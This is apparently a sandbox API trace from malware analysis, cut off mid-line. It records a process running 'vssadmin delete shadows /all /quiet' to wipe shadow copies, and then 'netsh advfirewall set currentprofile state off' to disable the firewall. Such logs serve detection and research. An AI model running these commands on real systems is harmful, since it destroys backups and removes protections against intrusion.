[0038.548] GetProcessHeap () returned 0x2e0000 [0038.548] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x22) returned 0x2f4610 [0038.548] GetProcessHeap () returned 0x2e0000 [0038.548] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x48) returned 0x2f98a0 [0038.549] GetConsoleOutputCP () returned 0x1b5 [0038.549] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a6dbfe0 | out: lpCPInfo=0x4a6dbfe0) returned 1 [0038.549] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0038.549] GetConsoleTitleW (in: lpConsoleTitle=0x1df890, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.550] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0038.550] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0038.550] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0038.550] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0038.550] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0038.550] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0038.550] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0038.550] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0038.550] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0038.550] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0038.550] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0038.550] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0038.550] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0038.550] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0038.550] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0038.550] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0038.550] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0038.550] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0038.550] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0038.550] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0038.550] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0038.550] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0038.550] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0038.550] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0038.550] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0038.550] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0038.550] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0038.550] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0038.551] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0038.551] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0038.551] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0038.551] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0038.551] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0038.551] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0038.551] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0038.551] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0038.551] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0038.551] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0038.551] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0038.551] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0038.551] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0038.551] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0038.551] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0038.551] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0038.551] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0038.551] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0038.551] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0038.551] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0038.551] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0038.551] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0038.551] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0038.551] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0038.551] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0038.551] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0038.551] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0038.551] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0038.551] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0038.551] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0038.551] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0038.551] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0038.551] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0038.551] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0038.551] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0038.551] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0038.551] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0038.552] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0038.552] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0038.552] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0038.552] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0038.552] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0038.552] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0038.552] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0038.552] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0038.552] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0038.552] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0038.552] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0038.552] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0038.552] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0038.552] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0038.552] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0038.552] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0038.552] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0038.552] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0038.552] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0038.552] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0038.552] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0038.552] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0038.552] GetProcessHeap () returned 0x2e0000 [0038.552] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2e1ab0 [0038.552] GetProcessHeap () returned 0x2e0000 [0038.552] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x5a) returned 0x2e1cd0 [0038.553] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0038.553] GetProcessHeap () returned 0x2e0000 [0038.553] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x420) returned 0x2f9a80 [0038.553] SetErrorMode (uMode=0x0) returned 0x0 [0038.553] SetErrorMode (uMode=0x1) returned 0x0 [0038.553] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2f9a90, lpFilePart=0x1df120 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1df120*="Desktop") returned 0x25 [0038.553] SetErrorMode (uMode=0x0) returned 0x1 [0038.553] GetProcessHeap () returned 0x2e0000 [0038.553] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9a80, Size=0x6e) returned 0x2f9a80 [0038.553] GetProcessHeap () returned 0x2e0000 [0038.553] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9a80) returned 0x6e [0038.553] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.553] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.553] GetProcessHeap () returned 0x2e0000 [0038.553] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x128) returned 0x2f5b70 [0038.553] GetProcessHeap () returned 0x2e0000 [0038.554] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x240) returned 0x2f9b00 [0038.595] GetProcessHeap () returned 0x2e0000 [0038.595] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9b00, Size=0x12a) returned 0x2f9b00 [0038.595] GetProcessHeap () returned 0x2e0000 [0038.595] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9b00) returned 0x12a [0038.595] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a6cf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.595] GetProcessHeap () returned 0x2e0000 [0038.595] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xe8) returned 0x2f9c40 [0038.595] GetProcessHeap () returned 0x2e0000 [0038.595] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9c40, Size=0x7e) returned 0x2f9c40 [0038.595] GetProcessHeap () returned 0x2e0000 [0038.595] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9c40) returned 0x7e [0038.596] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1dee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dee90) returned 0xffffffffffffffff [0038.596] GetLastError () returned 0x2 [0038.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x1dee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dee90) returned 0xffffffffffffffff [0038.596] GetLastError () returned 0x2 [0038.596] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.596] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1dee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dee90) returned 0x2e1d40 [0038.596] GetProcessHeap () returned 0x2e0000 [0038.596] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x28) returned 0x2f4640 [0038.596] FindClose (in: hFindFile=0x2e1d40 | out: hFindFile=0x2e1d40) returned 1 [0038.597] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1dee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dee90) returned 0xffffffffffffffff [0038.597] GetLastError () returned 0x2 [0038.597] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1dee90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1dee90) returned 0x2e1d40 [0038.597] GetProcessHeap () returned 0x2e0000 [0038.597] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f4640, Size=0x8) returned 0x2f98f0 [0038.597] FindClose (in: hFindFile=0x2e1d40 | out: hFindFile=0x2e1d40) returned 1 [0038.597] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0038.597] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0038.597] GetConsoleTitleW (in: lpConsoleTitle=0x1df3e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.597] GetProcessHeap () returned 0x2e0000 [0038.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x21c) returned 0x2f9cd0 [0038.597] GetConsoleTitleW (in: lpConsoleTitle=0x2f9ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0038.597] GetProcessHeap () returned 0x2e0000 [0038.597] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x2f9cd0, Size=0xc0) returned 0x2f9cd0 [0038.597] GetProcessHeap () returned 0x2e0000 [0038.597] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cd0) returned 0xc0 [0038.597] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0038.598] GetProcessHeap () returned 0x2e0000 [0038.598] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cd0 | out: hHeap=0x2e0000) returned 1 [0038.598] InitializeProcThreadAttributeList (in: lpAttributeList=0x1df198, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1df158 | out: lpAttributeList=0x1df198, lpSize=0x1df158) returned 1 [0038.598] UpdateProcThreadAttribute (in: lpAttributeList=0x1df198, dwFlags=0x0, Attribute=0x60001, lpValue=0x1df148, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1df198, lpPreviousValue=0x0) returned 1 [0038.598] GetStartupInfoW (in: lpStartupInfo=0x1df2b0 | out: lpStartupInfo=0x1df2b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xa0, hStdOutput=0xec, hStdError=0xec)) [0038.598] GetProcessHeap () returned 0x2e0000 [0038.598] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x20) returned 0x2f4640 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0038.598] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.599] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.599] GetProcessHeap () returned 0x2e0000 [0038.599] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f4640 | out: hHeap=0x2e0000) returned 1 [0038.599] GetProcessHeap () returned 0x2e0000 [0038.599] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x2f8900 [0038.599] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1df1d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1df180 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1df180*(hProcess=0x54, hThread=0x50, dwProcessId=0xb6c, dwThreadId=0xb70)) returned 1 [0038.648] CloseHandle (hObject=0x50) returned 1 [0038.648] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0038.648] GetProcessHeap () returned 0x2e0000 [0038.648] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc230 | out: hHeap=0x2e0000) returned 1 [0038.648] GetEnvironmentStringsW () returned 0x2faa10* [0038.648] GetProcessHeap () returned 0x2e0000 [0038.648] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xae8) returned 0x2fb500 [0038.648] FreeEnvironmentStringsW (penv=0x2faa10) returned 1 [0038.648] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0038.649] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0038.649] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1dea88, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1dea88, ReturnLength=0x0) returned 0x0 [0038.649] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x1deac0, nSize=0x380, lpNumberOfBytesRead=0x1dea80 | out: lpBuffer=0x1deac0*, lpNumberOfBytesRead=0x1dea80*=0x380) returned 1 [0038.649] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x4395e000" os_pid = "0xb64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb34" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 17 os_tid = 0xb68 [0039.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21f760 | out: lpSystemTimeAsFileTime=0x21f760*(dwLowDateTime=0x865fa5d0, dwHighDateTime=0x1d52d18)) [0039.681] GetCurrentProcessId () returned 0xb64 [0039.681] GetCurrentThreadId () returned 0xb68 [0039.681] GetTickCount () returned 0x1a321 [0039.681] QueryPerformanceCounter (in: lpPerformanceCount=0x21f768 | out: lpPerformanceCount=0x21f768*=15982949378) returned 1 [0039.682] GetModuleHandleW (lpModuleName=0x0) returned 0x1440000 [0039.682] __set_app_type (_Type=0x1) [0039.682] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x144ad14) returned 0x0 [0039.683] __wgetmainargs (in: _Argc=0x14555c0, _Argv=0x14555d0, _Env=0x14555c8, _DoWildCard=0, _StartInfo=0x14555dc | out: _Argc=0x14555c0, _Argv=0x14555d0, _Env=0x14555c8) returned 0 [0039.683] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.683] GetModuleHandleW (lpModuleName=0x0) returned 0x1440000 [0039.684] _vsnwprintf (in: _Buffer=0x1457a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x2172b8 | out: _Buffer="netsh>") returned 6 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3507d0 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3507f0 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350810 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350830 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350850 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350870 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3508c0 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3508e0 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350900 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350920 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350940 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350960 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350980 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3509a0 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3509c0 [0039.684] GetProcessHeap () returned 0x330000 [0039.684] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x3509e0 [0039.684] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350a00 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350a20 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350a40 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350a60 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350a80 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350aa0 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ac0 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ae0 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350b00 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350b20 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350b40 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350b60 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350b80 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350ba0 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350bc0 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350be0 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350c00 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350c20 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350c40 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x10) returned 0x350c60 [0039.685] GetProcessHeap () returned 0x330000 [0039.685] RtlAllocateHeap 